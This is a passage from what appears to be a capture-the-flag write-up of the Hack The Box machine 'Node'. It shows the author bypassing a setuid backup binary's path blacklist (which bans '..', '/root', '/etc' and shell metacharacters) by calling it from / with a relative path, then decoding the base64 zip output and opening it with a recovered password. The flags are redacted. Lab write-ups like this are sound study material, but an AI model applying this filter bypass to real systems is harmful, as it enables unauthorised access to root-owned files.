QQQQQQQQQQW' jQQQQWTqwDYauT9mmwwawww?WWWWQQQQQ@TT?TVTT9HQQQQQQw,-4QQQQQQQQQ QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ QQQQQQQP'.yQQQQQQQQQQQP" <****wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ QQQQQP'_a. <****aamQQQW! <****yF "!` .. "??$Qa "WQQQWTVP' "??' =QQmWWV?46/ ?QQQQQ QQQP'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <****wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ QQ[ j@mQP'adQQP4ga, -????" <****jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"` -?QzQ7L ]QQQ QW jQkQ@ jWQQD'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa .QP4QQQQfWkl jQQQ QE ]QkQk $D?` waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ QQ,-Qm4Q/-QmQ6 "WWQma/ "??QQQQQQL 4W"- -?$QQQQWP`s,awT$QQQ@ "QW@?$:.yQQQQ QQm/-4wTQgQWQQ, ?4WWk 4waac -???$waQQQQQQQQF??' <****mWWWWWQW?^ ` ]6QQ' yQQQQQ QQQQw,-?QmWQQQQw a, ?QWWQQQw _. "????9VWaamQWV???" a j/ ]QQf jQQQQQQ QQQQQQw,"4QQQQQQm,-$Qa ???4F jQQQQQwc <****aaas _aaaaa 4QW ]E )WQ`=QQQQQQQ QQQQQQWQ/ $QQQQQQQa ?H ]Wwa, ???9WWWh dQWWW,=QWWU? ?! )WQ ]QQQQQQQ QQQQQQQQQc-QWQQQQQW6, QWQWQQQk <****c jWQ ]QQQQQQQ QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ'.mQQQmaa,., . .; QWQ.]QQQQQQQ QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ QQQQQQQQQQWWma "9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,, --~-- --- . _ssawmQQQQQQk 3QQQQWQ QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV} <****wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,. -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ successfully unzipping it, we get a troll root.txt so upon further inspection of the backup binary file using radare2 we see that we need to supply other arguements ![](prg/13_007.png) in this function we see that we have a sanitiszation happening at the beginning of the function, and if it's 2 periods, it is going to push that b64 trollface string. ![](prg/13_008.png) in this function we see that we are also unable to give it the /root parameter and looking at the other functions we see that we are unable to use .. /root : & ` $ | /etc // / as parameters given to that backup binary But as you can see we don't have just root, we have /root so we can simply go to the / directory, and execute the binary from there, we don't have to give it the / before passing the root parameter. $ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 home/tom/user.txt UEsDBAoACQAAAJd9I0se46vsLQAAACEAAAARABwAaG9tZS90b20vdXNlci50eHRVVAkAA14VrFkYyF9edXgLAAEEAAAAAAToAwAAYg9ogU9H2FDWDWqaDu0w9XL3V2d03Xaa+Yqp/4M9tOD/HInQtG22oqn5GlP2UEsHCB7jq+wtAAAAIQAAAFBLAQIeAwoACQAAAJd9I0se46vsLQAAACEAAAARABgAAAAAAAEAAACggQAAAABob21lL3RvbS91c2VyLnR4dFVUBQADXhWsWXV4CwABBAAAAAAE6AMAAFBLBQYAAAAAAQABAFcAAACIAAAAAAA= $ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root 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 Because we are ALREADY at / we don't need to say /root which is a bad character. so let's copy this locally : λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → nano user.zip.b64 λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → cat user.zip.b64| base64 -d > user.zip λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → 7z e user.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI) Scanning the drive for archives: 1 file, 245 bytes (1 KiB) Extracting archive: user.zip -- Path = user.zip Type = zip Physical Size = 245 Enter password (will not be echoed): Everything is Ok Size: 33 Compressed: 245 λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → cat user.txt e1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And we have the user flag ! now let's do the same with the root flag : λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → nano root.zip.b64 λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → cat root.zip.b64| base64 -d > root.zip λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → file root.zip root.zip: Zip archive data, at least v1.0 to extract λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → 7z e root.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI) Scanning the drive for archives: 1 file, 3858 bytes (4 KiB) Extracting archive: root.zip -- Path = root.zip Type = zip Physical Size = 3858 Enter password (will not be echoed): Would you like to replace the existing file: Path: ./root.txt Size: 2584 bytes (3 KiB) Modified: 2017-09-02 23:51:30 with the file from archive: Path: root/root.txt Size: 33 bytes (1 KiB) Modified: 2017-09-03 14:46:40 ? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? A Everything is Ok Folders: 3 Files: 7 Size: 4268 Compressed: 3858 Giving it the password "magicword" we successfully unzip it just like the previous zip file we decoded : λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → cat root.txt 17XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And we have the root flag ! ## **Conclusion** Here we can see the progress graph : ![](img/13_graph.png)